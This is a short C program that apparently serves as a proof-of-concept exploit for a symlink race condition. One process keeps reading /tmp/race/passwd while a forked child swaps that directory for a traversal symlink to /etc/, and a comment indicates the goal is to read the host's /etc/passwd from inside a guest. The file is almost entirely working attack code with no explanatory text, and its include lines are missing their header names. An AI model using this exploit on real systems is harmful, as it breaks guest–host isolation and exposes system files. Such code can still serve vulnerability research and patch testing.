#include #include #include #include #include #include #include #include #include #include #include #define TMP "/tmp/race" static void parent(void) { char buffer[4096]; int fd, ret; memset(buffer, 0, sizeof(buffer)); while (1) { fd = open(TMP "/passwd", 0644); if (fd != -1) { ret = read(fd, buffer, sizeof(buffer)-1); /* don't break on guest's /etc/passwd: * root:x:0:0:root:/root:/bin/sh\n */ if (ret > 30) { printf("[%s]\n", buffer); break; } close(fd); } } exit(0); } static void child(void) { if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) != 0) err(1, "prctl"); srand(time(NULL)); while (1) { rename(TMP, TMP "1"); symlink("../../../../../../../../../../etc/", TMP); usleep(rand() % 10000); unlink(TMP); rename(TMP "1", TMP); usleep(rand() % 10000); } exit(0); } int main(int argc, char *argv[]) { pid_t pid; mkdir(TMP, 0755); pid = fork(); if (pid == -1) err(1, "fork"); else if (pid == 0) child(); else parent(); return 0; }